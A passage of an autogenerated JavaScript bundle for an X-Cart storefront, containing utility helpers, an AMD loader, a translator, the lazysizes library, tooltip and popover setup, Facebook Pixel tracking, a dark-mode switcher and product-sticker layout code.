Array]';s=[].concat(s);if(count)this.window[count]=0;for(i=0,sl=s.length;i<sl;i++){if(s[i]==='')continue;for(j=0,fl=f.length;j<fl;j++){temp=s[i]+'';repl=ra?(r[j]!==undefined?r[j]:''):r[0];s[i]=temp.split(f[j]).join(repl);if(count&&s[i]!==temp)this.window[count]+=(temp.length-s[i].length)/f[j].length}};return sa?s:s[0]} 5837function array_merge(){var args=Array.prototype.slice.call(arguments),argl=args.length,arg,retObj={},k='',argil=0,j=0,i=0,ct=0,toStr=Object.prototype.toString,retArr=true;for(i=0;i<argl;i++)if(toStr.call(args[i])!=='[object Array]'){retArr=false;break};if(retArr){retArr=[];for(i=0;i<argl;i++)retArr=retArr.concat(args[i]);return retArr};for(i=0,ct=0;i<argl;i++){arg=args[i];if(toStr.call(arg)==='[object Array]'){for(j=0,argil=arg.length;j<argil;j++)retObj[ct++]=arg[j]}else for(k in arg)if(arg.hasOwnProperty(k))if(parseInt(k,10)+''===k){retObj[ct++]=arg[k]}else retObj[k]=arg[k]};return retObj} 5838function array_unique(inputArr){var key='',tmp_arr2={},val='',__array_search=function(needle,haystack){var fkey='';for(fkey in haystack)if(haystack.hasOwnProperty(fkey))if((haystack[fkey]+'')===(needle+''))return fkey;return false};for(key in inputArr)if(inputArr.hasOwnProperty(key)){val=inputArr[key];if(false===__array_search(val,tmp_arr2))tmp_arr2[key]=val};return tmp_arr2} 5839function intval(mixed_var,base){var tmp,type=typeof mixed_var;if(type==='boolean'){return+mixed_var}else if(type==='string'){tmp=parseInt(mixed_var,base||10);return(isNaN(tmp)||!isFinite(tmp))?0:tmp}else if(type==='number'&&isFinite(mixed_var)){return mixed_var|0}else return 0}; 5840/* AUTOGENERATED: amd.js */ 5841/* vim: set ts=2 sw=2 sts=2 et: */ 5842 5843/** 5844 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 5845 * See https://www.x-cart.com/license-agreement.html for license details. 5846 */ 5847 5848var CoreAMD = { 5849 pending: {}, 5850 5851 define: function (name, dependencies, callback) { 5852 5853 if (_.isFunction(dependencies)) {
5854 callback = dependencies; 5855 dependencies = []; 5856 } 5857 5858 if (_.isString(dependencies)) { 5859 dependencies = [dependencies]; 5860 } 5861 5862 if (dependencies === undefined) { 5863 dependencies = []; 5864 } 5865 5866 if (callback === undefined) { 5867 callback = function () { 5868 }; 5869 } 5870 5871 var moduleDeferred = this._createDeferred(name); 5872 5873 jQuery 5874 .when.apply(jQuery, dependencies.map(_.bind(this._createDeferred, this))) 5875 .done(function () { 5876 moduleDeferred.resolve(callback.apply(window, arguments)); 5877 }) 5878 }, 5879 5880 require: function (dependencies, callback) { 5881 if (_.isString(dependencies)) { 5882 dependencies = [dependencies]; 5883 } 5884 5885 jQuery 5886 .when.apply(jQuery, dependencies.map(_.bind(this._createDeferred, this))) 5887 .done(function () { 5888 callback.apply(window, arguments); 5889 }); 5890 }, 5891 5892 getUnresolvedDependencies: function () { 5893 var result = []; 5894 for (var name in this.pending) if (this.pending.hasOwnProperty(name)) { 5895 if (this.pending[name].state() === 'pending') { 5896 result.push(name); 5897 } 5898 } 5899 5900 return result; 5901 }, 5902 5903 _createDeferred: function (name) { 5904 if (this.pending[name] === undefined) { 5905 this.pending[name] = new jQuery.Deferred(); 5906 } 5907 5908 return this.pending[name]; 5909 } 5910}; 5911 5912if (window.define) { 5913 window._define = window.define; 5914} 5915window.define = _.bind(CoreAMD.define, CoreAMD); 5916 5917if (window.require) { 5918 window._require = window.require; 5919} 5920window.require = _.bind(CoreAMD.require, CoreAMD); 5921 5922define('js/jquery', function () { 5923 return jQuery; 5924}); 5925define('js/underscore', function () { 5926 return _; 5927}); 5928 5929jQuery(function () { 5930 define('ready'); 5931 5932 setTimeout(function() { 5933 var unresolvedDependencies = CoreAMD.getUnresolvedDependencies(); 5934 if (unresolvedDependencies.length && xcart.isDeveloperMode) { 5935 console.warn('Unresolved dependencies', unresolvedDependencies); 5936 } 5937 }, 1); 5938}); 5939 5940(function () { 5941 var event = document.createEvent('HTMLEvents'); 5942 event.initEvent('amd-ready', true, true); 5943 document.dispatchEvent(event); 5944})();; 5945/* AUTOGENERATED: translate.js */ 5946/* vim: set ts=2 sw=2 sts=2 et: */ 5947 5948/** 5949 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 5950 * See https://www.x-cart.com/license-agreement.html for license details. 5951 */ 5952 5953var Translator = Object.extend({ 5954 languageLabels: [], 5955 5956 constructor: function TranslatorConstructor() { 5957 this.loadPreloadedLabels(); 5958 }, 5959 5960 loadPreloadedLabels: function () { 5961 this.loadLanguageHash( 5962 window.xlite_preloaded_labels 5963 ); 5964 }, 5965 5966 translate: function(label, params) 5967 { 5968 var translation = this._findInLoaded(label); 5969 5970 if (translation === null) { 5971 translation = this._loadLabel(label); 5972 5973 if (translation) { 5974 this._saveToLoaded(label, translation); 5975 } 5976 } 5977 5978 if (params) { 5979 translation = this._processTranslationParams(translation, params) 5980 } 5981 5982 return translation; 5983 }, 5984 5985 5986 loadLanguageHash: function(hash) 5987 { 5988 _.each( 5989 hash, 5990 _.bind( 5991 function (translation, label) { 5992 var foundTranslation = this._findInLoaded(label); 5993 5994 if (foundTranslation === null) { 5995 this._saveToLoaded(label, translation); 5996 } 5997 }, 5998 this 5999 ) 6000 ); 6001 }, 6002 6003 _processTranslationParams: function(translation, params) { 6004 _.each(params, function (paramValue, paramName) { 6005 translation = translation.replace('{{' + paramName + '}}', paramValue); 6006 }); 6007 6008 return translation; 6009 }, 6010 6011 _findInLoaded: function(label) { 6012 var translation = null; 6013 6014 for (var i = 0; i < this.languageLabels.length; i++) { 6015 if (this.languageLabels[i].name == label) { 6016 translation = this.languageLabels[i].label; 6017 break; 6018 } 6019 } 6020 6021 return translation; 6022 }, 6023 6024 _saveToLoaded: function(label, translation) { 6025 this.languageLabels.push( 6026 { 6027 name: label, 6028 label: translation 6029 } 6030 ); 6031 }, 6032 6033 _loadLabel: function(label) { 6034 return xcart.rest.get('translation', label, false); 6035 }, 6036 6037});; 6038/* AUTOGENERATED: lazysizes.min.js */ 6039/*! lazysizes - v5.2.1 */ 6040 6041!function(e){var t=function(u,D,f){"use strict";var k,H;if(function(){var e;var t={lazyClass:"lazyload",loadedClass:"lazyloaded",loadingClass:"lazyloading",preloadClass:"lazypreload",errorClass:"lazyerror",autosizesClass:"lazyautosizes",srcAttr:"data-src",srcsetAttr:"data-srcset",sizesAttr:"data-sizes",minSize:40,customMedia:{},init:true,expFactor:1.5,hFac:.8,loadMode:2,loadHidden:true,ricTimeout:0,throttleDelay:125};H=u.lazySizesConfig||u.lazysizesConfig||{};for(e in t){if(!(e in H)){H[e]=t[e]}}}(),!D||!D.getElementsByClassName){return{init:function(){},cfg:H,noSupport:true}}var O=D.documentElement,a=u.HTMLPictureElement,P="addEventListener",$="getAttribute",q=u[P].bind(u),I=u.setTimeout,U=u.requestAnimationFrame||I,l=u.requestIdleCallback,j=/^picture$/i,r=["load","error","lazyincluded","_lazyloaded"],i={},G=Array.prototype.forEach,J=function(e,t){if(!i[t]){i[t]=new RegExp("(\\s|^)"+t+"(\\s|$)")}return i[t].test(e[$]("class")||"")&&i[t]},K=function(e,t){if(!J(e,t)){e.setAttribute("class",(e[$]("class")||"").trim()+" "+t)}},Q=function(e,t){var i;if(i=J(e,t)){e.setAttribute("class",(e[$]("class")||"").replace(i," "))}},V=function(t,i,e){var a=e?P:"removeEventListener";if(e){V(t,i)}r.forEach(function(e){t[a](e,i)})},X=function(e,t,i,a,r){var n=D.createEvent("Event");
vendor: 5,178 bytes, line 6041
6041if(!i){i={}}i.instance=k;n.initEvent(t,!a,!r);n.detail=i;e.dispatchEvent(n);return n},Y=function(e,t){var i;if(!a&&(i=u.picturefill||H.pf)){if(t&&t.src&&!e[$]("srcset")){e.setAttribute("srcset",t.src)}i({reevaluate:true,elements:[e]})}else if(t&&t.src){e.src=t.src}},Z=function(e,t){return(getComputedStyle(e,null)||{})[t]},s=function(e,t,i){i=i||e.offsetWidth;while(i<H.minSize&&t&&!e._lazysizesWidth){i=t.offsetWidth;t=t.parentNode}return i},ee=function(){var i,a;var t=[];var r=[];var n=t;var s=function(){var e=n;n=t.length?r:t;i=true;a=false;while(e.length){e.shift()()}i=false};var e=function(e,t){if(i&&!t){e.apply(this,arguments)}else{n.push(e);if(!a){a=true;(D.hidden?I:U)(s)}}};e._lsFlush=s;return e}(),te=function(i,e){return e?function(){ee(i)}:function(){var e=this;var t=arguments;ee(function(){i.apply(e,t)})}},ie=function(e){var i;var a=0;var r=H.throttleDelay;var n=H.ricTimeout;var t=function(){i=false;a=f.now();e()};var s=l&&n>49?function(){l(t,{timeout:n});if(n!==H.ricTimeout){n=H.ricTimeout}}:te(function(){I(t)},true);return function(e){var t;if(e=e===true){n=33}if(i){return}i=true;t=r-(f.now()-a);if(t<0){t=0}if(e||t<9){s()}else{I(s,t)}}},ae=function(e){var t,i;var a=99;var r=function(){t=null;e()};var n=function(){var e=f.now()-i;if(e<a){I(n,a-e)}else{(l||r)(r)}};return function(){i=f.now();if(!t){t=I(n,a)}}},e=function(){var v,m,c,h,e;var y,z,g,p,C,b,A;var n=/^img$/i;var d=/^iframe$/i;var E="onscroll"in u&&!/(gle|ing)bot/.test(navigator.userAgent);var _=0;var w=0;var N=0;var M=-1;var x=function(e){N--;if(!e||N<0||!e.target){N=0}};var W=function(e){if(A==null){A=Z(D.body,"visibility")=="hidden"}return A||!(Z(e.parentNode,"visibility")=="hidden"&&Z(e,"visibility")=="hidden")};var S=function(e,t){var i;var a=e;var r=W(e);g-=t;b+=t;p-=t;C+=t;while(r&&(a=a.offsetParent)&&a!=D.body&&a!=O){r=(Z(a,"opacity")||1)>0;if(r&&Z(a,"overflow")!="visible"){i=a.getBoundingClientRect();r=C>i.left&&p<i.right&&b>i.top-1&&g<i.bottom+1}}return r};var t=function(){var e,t,i,a,r,n,s,l,o,u,f,c;var d=k.elements;if((h=H.loadMode)&&N<8&&(e=d.length)){t=0;M++;for(;t<e;t++){if(!d[t]||d[t]._lazyRace){continue}if(!E||k.prematureUnveil&&k.prematureUnveil(d[t])){R(d[t]);continue}if(!(l=d[t][$]("data-expand"))||!(n=l*1)){n=w}if(!u){u=!H.expand||H.expand<1?O.clientHeight>500&&O.clientWidth>500?500:370:H.expand;k._defEx=u;f=u*H.expFactor;c=H.hFac;A=null;if(w<f&&N<1&&M>2&&h>2&&!D.hidden){w=f;M=0}else if(h>1&&M>1&&N<6){w=u}else{w=_}}if(o!==n){y=innerWidth+n*c;z=innerHeight+n;s=n*-1;o=n}i=d[t].getBoundingClientRect();if((b=i.bottom)>=s&&(g=i.top)<=z&&(C=i.right)>=s*c&&(p=i.left)<=y&&(b||C||p||g)&&(H.loadHidden||W(d[t]))&&(m&&N<3&&!l&&(h<3||M<4)||S(d[t],n))){R(d[t]);r=true;if(N>9){break}}else if(!r&&m&&!a&&N<4&&M<4&&h>2&&(v[0]||H.preloadAfterLoad)&&(v[0]||!l&&(b||C||p||g||d[t][$](H.sizesAttr)!="auto"))){a=v[0]||d[t]}}if(a&&!r){R(a)}}};var i=ie(t);var B=function(e){var t=e.target;if(t._lazyCache){delete t._lazyCache;return}x(e);K(t,H.loadedClass);Q(t,H.loadingClass);V(t,L);X(t,"lazyloaded")};var a=te(B);var L=function(e){a({target:e.target})};var T=function(t,i){try{t.contentWindow.location.replace(i)}catch(e){t.src=i}};var F=function(e){var t;var i=e[$](H.srcsetAttr);if(t=H.customMedia[e[$]("data-media")||e[$]("media")]){e.setAttribute("media",t)}if(i){e.setAttribute("srcset",i)}};var s=te(function(t,e,i,a,r){var n,s,l,o,u,f;if(!(u=X(t,"lazybeforeunveil",e)).defaultPrevented){if(a){if(i){K(t,H.autosizesClass)}else{t.setAttribute("sizes",a)}}s=t[$](H.srcsetAttr);n=t[$](H.srcAttr);if(r){l=t.parentNode;o=l&&j.test(l.nodeName||"")}f=e.firesLoad||"src"in t&&(s||n||o);u={target:t};K(t,H.loadingClass);if(f){clearTimeout(c);c=I(x,2500);V(t,L,true)}if(o){G.call(l.getElementsByTagName("source"),F)}if(s){t.setAttribute("srcset",s)}else if(n&&!o){if(d.test(t.nodeName)){T(t,n)}else{t.src=n}}if(r&&(s||o)){Y(t,{src:n})}}if(t._lazyRace){delete t._lazyRace}Q(t,H.lazyClass);ee(function(){var e=t.complete&&t.naturalWidth>1;if(!f||e){if(e){K(t,"ls-is-cached")}B(u);t._lazyCache=true;I(function(){if("_lazyCache"in t){delete t._lazyCache}},9)}if(t.loading=="lazy"){N--}},true)});var R=function(e){if(e._lazyRace){return}var t;var i=n.test(e.nodeName);var a=i&&(e[$](H.sizesAttr)||e[$]("sizes"));var r=a=="auto";if((r||!m)&&i&&(e[$]("src")||e.srcset)&&!e.complete&&!J(e,H.errorClass)&&J(e,H.lazyClass)){return}t=X(e,"lazyunveilread").detail;if(r){re.updateElem(e,true,e.offsetWidth)}e._lazyRace=true;N++;s(e,t,r,a,i)};var r=ae(function(){H.loadMode=3;i()});var l=function(){if(H.loadMode==3){H.loadMode=2}r()};var o=function(){if(m){return}if(f.now()-e<999){I(o,999);return}m=true;H.loadMode=3;i();q("scroll",l,true)};return{_:function(){e=f.now();k.elements=D.getElementsByClassName(H.lazyClass);v=D.getElementsByClassName(H.lazyClass+" "+H.preloadClass);q("scroll",i,true);q("resize",i,true);q("pageshow",function(e){if(e.persisted){var t=D.querySelectorAll("."+H.loadingClass);if(t.length&&t.forEach){U(function(){t.forEach(function(e){if(e.complete){R(e)}})})}}});if(u.MutationObserver){new MutationObserver(i).observe(O,{childList:true,subtree:true,attributes:true})}else{O[P]("DOMNodeInserted",i,true);O[P]("DOMAttrModified",i,true);setInterval(i,999)}
6041q("hashchange",i,true);["focus","mouseover","click","load","transitionend","animationend"].forEach(function(e){D[P](e,i,true)});if(/d$|^c/.test(D.readyState)){o()}else{q("load",o);D[P]("DOMContentLoaded",i);I(o,2e4)}if(k.elements.length){t();ee._lsFlush()}else{i()}},checkElems:i,unveil:R,_aLSL:l}}(),re=function(){var i;var n=te(function(e,t,i,a){var r,n,s;e._lazysizesWidth=a;a+="px";e.setAttribute("sizes",a);if(j.test(t.nodeName||"")){r=t.getElementsByTagName("source");for(n=0,s=r.length;n<s;n++){r[n].setAttribute("sizes",a)}}if(!i.detail.dataAttr){Y(e,i.detail)}});var a=function(e,t,i){var a;var r=e.parentNode;if(r){i=s(e,r,i);a=X(e,"lazybeforesizes",{width:i,dataAttr:!!t});if(!a.defaultPrevented){i=a.detail.width;if(i&&i!==e._lazysizesWidth){n(e,r,a,i)}}}};var e=function(){var e;var t=i.length;if(t){e=0;for(;e<t;e++){a(i[e])}}};var t=ae(e);return{_:function(){i=D.getElementsByClassName(H.autosizesClass);q("resize",t)},checkElems:t,updateElem:a}}(),t=function(){if(!t.i&&D.getElementsByClassName){t.i=true;re._();e._()}};return I(function(){H.init&&t()}),k={cfg:H,autoSizer:re,loader:e,init:t,uP:Y,aC:K,rC:Q,hC:J,fire:X,gW:s,rAF:ee}}(e,e.document,Date);e.lazySizes=t,"object"==typeof module&&module.exports&&(module.exports=t)}("undefined"!=typeof window?window:{});; 6042/* AUTOGENERATED: tooltip.js */ 6043/* vim: set ts=2 sw=2 sts=2 et: */ 6044 6045/** 6046 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6047 * See https://www.x-cart.com/license-agreement.html for license details. 6048 */ 6049 6050jQuery.fn.extend({ 6051 startTooltip: function() { 6052 return this.each(function() { 6053 window.startTooltip(this); 6054 }); 6055 }, 6056 popoverKeepOnHover: function () { 6057 var keepOnHoverInit = function (element) { 6058 var debouncedToggle = _.debounce(function(element, option) { 6059 if (option === 'show' 6060 && $(element).data('bs.popover') 6061 && $(element).data('bs.popover').$tip 6062 && $(element).data('bs.popover').$tip.is(':visible') 6063 ) { 6064 return; 6065 } 6066 6067 $(element).popover(option); 6068 }, 150); 6069 6070 $(element).on("mouseenter", function () { 6071 var _this = this; 6072 debouncedToggle($(_this), 'show'); 6073 }).on("mouseleave", function () { 6074 var _this = this; 6075 var hoveredPopover = $(".popover:hover"); 6076 if (!hoveredPopover.length) { 6077 debouncedToggle($(_this), 'hide'); 6078 } else { 6079 hoveredPopover.on("mouseleave", function() { 6080 debouncedToggle($(_this), 'hide'); 6081 }); 6082 } 6083 }); 6084 }; 6085 6086 return this.each(function() { 6087 keepOnHoverInit(this); 6088 }); 6089 } 6090}); 6091 6092(function ($) { 6093 6094 // Tooltips in customer area 6095 jQuery('.tooltip-main').each( 6096 function () { 6097 attachTooltip( 6098 jQuery('i', this), 6099 jQuery('.help-text', this).hide().html() 6100 ); 6101 } 6102 ); 6103 6104 window.startTooltip = function (element) { 6105 var helpId = $(element).data('help-id'); 6106 var params = {sanitize: false}; 6107 6108 if ($(element).parents('.ui-widget-content').first().length) { 6109 params.viewport = ('#' + $(element).parents('.ui-widget-content').first().attr('id')); 6110 } 6111 6112 const container = ($(element).data('container')) 6113 const isNeedRenderInContainer = container && container !== '' 6114 if (isNeedRenderInContainer) { 6115 params.container = container 6116 } 6117 6118 if (helpId) { 6119 content = $('#' + helpId).html(); 6120 if (content) { 6121 params.content = content; 6122 $(element).popover(params); 6123 } 6124 } else { 6125 const getContainerElement = (elm) => { 6126 if (getComputedStyle(elm.parentElement).position === 'absolute') { 6127 return elm.parentElement.parentElement; 6128 } 6129 return elm; 6130 }; 6131 if (!isNeedRenderInContainer) { 6132 params.container = getContainerElement(element) || element; 6133 } 6134 $(element).popover(params); 6135 } 6136 6137 if ($(element).data('keep-on-hover')) { 6138 $(element).popoverKeepOnHover(); 6139 } 6140 }; 6141 6142 define('xlite-tooltip', ['vue/vue'], function (Vue) { 6143 Vue.directive('xlite-tooltip', { 6144 inserted: function (el) { 6145 startTooltip(el); 6146 } 6147 }); 6148 }); 6149 6150})(jQuery); 6151 6152xcart.microhandlers.add( 6153 'Tooltip', 6154 '[data-toggle="popover"]', 6155 function () { 6156 startTooltip(this); 6157 } 6158);; 6159/* AUTOGENERATED: popover.js */ 6160/* vim: set ts=2 sw=2 sts=2 et: */ 6161 6162/** 6163 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6164 * See https://www.x-cart.com/license-agreement.html for license details. 6165 */ 6166 6167if ($.fn.popover) { 6168 let myDefaultWhiteList = $.fn.popover.Constructor.DEFAULTS.whiteList; 6169 6170 myDefaultWhiteList.input = []; 6171 myDefaultWhiteList.textarea = []; 6172 myDefaultWhiteList.select = []; 6173 myDefaultWhiteList.button = []; 6174 myDefaultWhiteList.table = []; 6175 myDefaultWhiteList.th = []; 6176 myDefaultWhiteList.tr = []; 6177 myDefaultWhiteList.td = []; 6178 6179 myDefaultWhiteList['*'].push('type', 'width', 'height'); 6180}; 6181/* AUTOGENERATED: pixel_core.js */ 6182/* vim: set ts=2 sw=2 sts=2 et: */ 6183 6184/** 6185 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6186 * See https://www.x-cart.com/license-agreement.html for license details. 6187 */ 6188 6189define('facebookPixel/core', [], function () { 6190 FacebookPixelCore = Object.extend({ 6191 constructor: function () { 6192 }, 6193 6194 registerEvent: function (type, name, data) { 6195 if (xcart.isDeveloperMode) { 6196 if (data) { 6197 console.log('Facebook Pixel event-' + type + '-' + name, data); 6198 } else { 6199 console.log('Facebook Pixel event-' + type + '-' + name); 6200 } 6201 } 6202 6203 if (!_.isUndefined(fbq)) { 6204 if (data) { 6205 fbq(type, name, data); 6206 } else { 6207 fbq(type, name); 6208 } 6209 } else if (xcart.isDeveloperMode) { 6210 console.log('Facebook Pixel "fbq" is undefined'); 6211 } 6212 }, 6213 6214 retrieveCartData: function (callback) { 6215 var url = URLHandler.buildURL({target: 'facebook_pixel', action: 'retrieve_current_cart_data'}); 6216 xcart.get(url, callback); 6217 } 6218 }); 6219 6220 FacebookPixelCore.instance = new FacebookPixelCore(); 6221 6222 return FacebookPixelCore; 6223});;
6224/* AUTOGENERATED: pixel_event.js */ 6225/* vim: set ts=2 sw=2 sts=2 et: */ 6226 6227/** 6228 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6229 * See https://www.x-cart.com/license-agreement.html for license details. 6230 */ 6231 6232define('facebookPixel/event', ['facebookPixel/core'], function (Core) { 6233 FacebookPixelEvent = Object.extend({ 6234 constructor: function() { 6235 jQuery().ready(_.bind(this.processReady, this)); 6236 6237 this.bindListeners(); 6238 }, 6239 6240 bindListeners: function() { 6241 _.each( 6242 this.getListeners(), 6243 _.bind( 6244 function (handler, eventName) { 6245 xcart.bind(eventName, _.bind(handler, this)); 6246 }, 6247 this 6248 ) 6249 ); 6250 }, 6251 6252 getListeners: function() { 6253 return {}; 6254 }, 6255 6256 processReady: function() {}, 6257 6258 sendEvent: function(name, data) { 6259 Core.instance.registerEvent('track', name, data); 6260 }, 6261 6262 sendCustomEvent: function(name, data) { 6263 Core.instance.registerEvent('trackCustom', name, data); 6264 }, 6265 6266 retrieveCartData: function (callback) { 6267 Core.instance.retrieveCartData(callback); 6268 } 6269 }); 6270 6271 return FacebookPixelEvent; 6272});; 6273/* AUTOGENERATED: product.js */ 6274/* vim: set ts=2 sw=2 sts=2 et: */ 6275 6276/** 6277 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6278 * See https://www.x-cart.com/license-agreement.html for license details. 6279 */ 6280 6281define('facebookPixel/viewContent', ['facebookPixel/event'], function (Event) { 6282 FacebookPixelViewContent = Event.extend({ 6283 processReady: function() { 6284 if ('product' === xcart.getTarget()) { 6285 this.registerView(); 6286 } 6287 6288 var o = this; 6289 xcart.bind('afterPopupPlace', function(event, data){ 6290 if (popup.currentPopup.box.hasClass('ctrl-customer-quicklook')) { 6291 o.registerView(popup.currentPopup.box); 6292 } 6293 }) 6294 6295 var currentId = null; 6296 xcart.registerTriggersBind('update-product-page', function(){ 6297 var pixelContentIdElem = jQuery('input[name="facebook_pixel_content_id"]'); 6298 if (pixelContentIdElem.length > 0) { 6299 var newId = pixelContentIdElem.eq(0).val(); 6300 if (currentId && currentId !== newId) { 6301 o.registerView(); 6302 } 6303 currentId = newId; 6304 } 6305 }); 6306 }, 6307 6308 registerView: function(base) { 6309 if (_.isUndefined(base)) { 6310 base = jQuery('body'); 6311 } 6312 6313 var contentData = { 6314 'content_type': 'product' 6315 } 6316 6317 var pixelContentIdElem = jQuery('input[name="facebook_pixel_content_id"]', base); 6318 if (pixelContentIdElem.length > 0) { 6319 contentData['content_ids'] = "['"+pixelContentIdElem.eq(0).val()+"']"; 6320 } 6321 6322 var pixelValueElem = jQuery('input[name="facebook_pixel_value"]', base); 6323 if (pixelValueElem.length > 0) { 6324 contentData['value'] = pixelValueElem.eq(0).val(); 6325 } 6326 6327 var pixelCurrencyElem = jQuery('input[name="facebook_pixel_value_currency"]', base); 6328 if (pixelCurrencyElem.length > 0) { 6329 contentData['currency'] = pixelCurrencyElem.eq(0).val(); 6330 } 6331 6332 this.sendEvent('ViewContent', contentData); 6333 } 6334 }); 6335 6336 FacebookPixelViewContent.instance = new FacebookPixelViewContent(); 6337 6338 return FacebookPixelViewContent; 6339});; 6340/* AUTOGENERATED: add_to_cart.js */ 6341/* vim: set ts=2 sw=2 sts=2 et: */ 6342 6343/** 6344 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6345 * See https://www.x-cart.com/license-agreement.html for license details. 6346 */ 6347 6348define('facebookPixel/addToCart', ['facebookPixel/event'], function (Event) { 6349 FacebookPixelAddToCart = Event.extend({ 6350 processReady: function () { 6351 var o = this; 6352 6353 xcart.bind('productAddedToCart', function (event, data) { 6354 o.registerAddedToCart(data.fbPixelProductData); 6355 }); 6356 }, 6357 6358 registerAddedToCart: function (productData) { 6359 if (productData) { 6360 this.sendEvent('AddToCart', productData); 6361 } else { 6362 this.sendEvent('AddToCart'); 6363 } 6364 } 6365 }); 6366 6367 FacebookPixelAddToCart.instance = new FacebookPixelAddToCart(); 6368 6369 return FacebookPixelAddToCart; 6370});; 6371/* AUTOGENERATED: mode-switcher.js */ 6372/* vim: set ts=2 sw=2 sts=2 et: */ 6373 6374/** 6375 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6376 * See https://www.x-cart.com/license-agreement.html for license details. 6377 */ 6378 6379const ModeSwitcher = function () { 6380 const switchers = document.querySelectorAll('.switcher--mode-switcher'); 6381 const THEME_DARK = 'dark'; 6382 const THEME_LIGHT = 'light'; 6383 const COOKIE_NAME = 'theme'; 6384 const THEME_ATTRIBUTE = 'data-theme'; 6385 const THEME_SYSTEM_ATTRIBUTE = 'data-theme-system'; 6386 6387 /** 6388 * Detect if dark theme is enabled (manually or automatically). 6389 * 6390 * @return {boolean} True if dark theme is enabled (manually or automatically), false otherwise. 6391 */ 6392 this.isDarkModeEnabled = () => { 6393 const cookie = $.cookie(COOKIE_NAME); 6394 return cookie ? cookie === THEME_DARK : document.documentElement.getAttribute(THEME_ATTRIBUTE) === THEME_DARK; 6395 }; 6396 6397 /** 6398 * Toggle on/off all theme switchers on the page. 6399 * 6400 * @param {boolean} [on] If true, switchers will be enabled. Otherwise, disabled. 6401 */ 6402 this.switch = (on) => { 6403 if (typeof on === 'undefined') { 6404 on = !this.isDarkModeEnabled(); 6405 } 6406 6407 const doc = document.documentElement; 6408 const newTheme = on ? THEME_DARK : THEME_LIGHT; 6409 doc.setAttribute(THEME_ATTRIBUTE, newTheme); 6410 doc.removeAttribute(THEME_SYSTEM_ATTRIBUTE); 6411 $.cookie(COOKIE_NAME, newTheme, {path: xliteConfig.web_dir}); 6412 xcart.trigger('theme_changed', newTheme); 6413 }; 6414 6415 this.init = () => { 6416 const isDarkMode = this.isDarkModeEnabled(); 6417
6418 switchers.forEach(switcher => { 6419 switcher.addEventListener('change', () => { 6420 this.switch(!this.isDarkModeEnabled()); 6421 }); 6422 6423 switcher.checked = isDarkMode; 6424 }); 6425 }; 6426}; 6427 6428ModeSwitcher.prototype.instance = null; 6429 6430ModeSwitcher.getInstance = () => { 6431 if (!ModeSwitcher.prototype.instance) { 6432 ModeSwitcher.prototype.instance = new ModeSwitcher(); 6433 ModeSwitcher.prototype.instance.init(); 6434 } 6435 6436 return ModeSwitcher.prototype.instance; 6437}; 6438 6439ModeSwitcher.getInstance();; 6440/* AUTOGENERATED: script.js */ 6441/* vim: set ts=2 sw=2 sts=2 et: */ 6442 6443/** 6444 * Copyright (c) 2001-present X-Cart Holdings LLC. All rights reserved. 6445 * See https://www.x-cart.com/license-agreement.html for license details. 6446 */ 6447 6448var stickerController = { 6449 config: xcart.getCommentedData(jQuery('body'), 'stickers'), 6450 topStickerQuantity: 2, 6451 bottomStickerQuantity: 4, 6452 productStickerInit: function(base) { 6453 let self = this; 6454 let products = base.hasClass('box-product') ? base : base.find('.box-product, .product-cell'); 6455 6456 products.each(function(){ 6457 let product = $(this); 6458 6459 if ( 6460 product.closest('.product-details').length 6461 && !self.config.show_stickers_on_product_pages 6462 ) { 6463 return; 6464 } 6465 6466 let displayMode = self.config.sticker_display_mode; 6467 let container = $(".product-stickers", product); 6468 6469 self.buildProductStickers(product); 6470 6471 if (displayMode === 'corner_ribbon') { 6472 container.addClass(displayMode + '_mode'); 6473 self.renderTopRibbons(product); 6474 self.renderBottomRibbons(product); 6475 self.postRender(product); 6476 } 6477 6478 container.toggleClass('show'); 6479 }); 6480 }, 6481 buildProductStickers: function(product) { 6482 $(".top-stickers ul", product).append(this.getTopStickers(product)); 6483 $(".bottom-stickers ul", product).append(this.getBottomStickers(product)); 6484 }, 6485 renderTopRibbons: function(product){ 6486 let container = $(".top-stickers ul", product); 6487 let x = container.width(); 6488 let x1 = container.parent().width(); 6489 let y = container.height(); 6490 let y1 = container.parent().height(); 6491 container.css({'left': this.calculateLeftOffset(x, x1), 'top': this.calculateTopOffset(y, y1)}); 6492 container.parent().css({'height': this.calculateContainerHeight(y, y1), 'width': this.calculateContainerWidth(y, x1)}); 6493 }, 6494 postRender: function(product){ 6495 let container = $(".bottom-stickers ul", product); 6496 $(container.find('li').get().reverse()).each(function(){ 6497 let textContainer = $(this).find(".text-ribbon > span"); 6498 let productItemOffset = container.closest('.product, .product-details').offset(); 6499 let stickerOffset = textContainer.offset(); 6500 let stickerFullWidth = parseInt($(this).css('width')); 6501 let stickerInitialHeight = parseInt($(this).css('height')); 6502 let textContainerHeight = parseInt(textContainer.css('height')); 6503 let stickerPadding = stickerInitialHeight - textContainerHeight; 6504 let stickerLeftOffset = (productItemOffset.left - stickerOffset.left) * (Math.sqrt(2)); 6505 let stickerCroppedWidth = stickerFullWidth - stickerLeftOffset * 2; 6506 6507 textContainer.css({ 6508 'max-width': stickerCroppedWidth + 'px', 6509 'white-space': 'normal' 6510 }); 6511 6512 let multiplicity = (parseInt($(this).css('height')) - stickerPadding) / (stickerInitialHeight - stickerPadding); 6513 if (multiplicity > 1) { 6514 multiplicity--; 6515 let hypotenuse = multiplicity * textContainerHeight; 6516 let leg = hypotenuse / (Math.sqrt(2)); 6517 let padding = stickerPadding / 2; 6518 container.css({ 6519 'left': parseInt(container.css('left')) - hypotenuse - padding, 6520 'top': parseInt(container.css('top')) + hypotenuse / 2 + padding 6521 }); 6522 container.parent().css({ 6523 'width': parseInt(container.parent().css('width')) + leg * 2 + padding, 6524 'height': parseInt(container.parent().css('height')) + leg * 2 + padding 6525 }); 6526 } 6527 }); 6528 }, 6529 renderBottomRibbons: function(product){ 6530 let container = $(".bottom-stickers ul", product); 6531 let x = container.width(); 6532 let x1 = container.parent().width(); 6533 let y = container.height(); 6534 let y1 = container.parent().height(); 6535 container.css({'left': this.calculateLeftOffset(x, x1)-(this.calculateContainerWidth(y, x1)-x1), 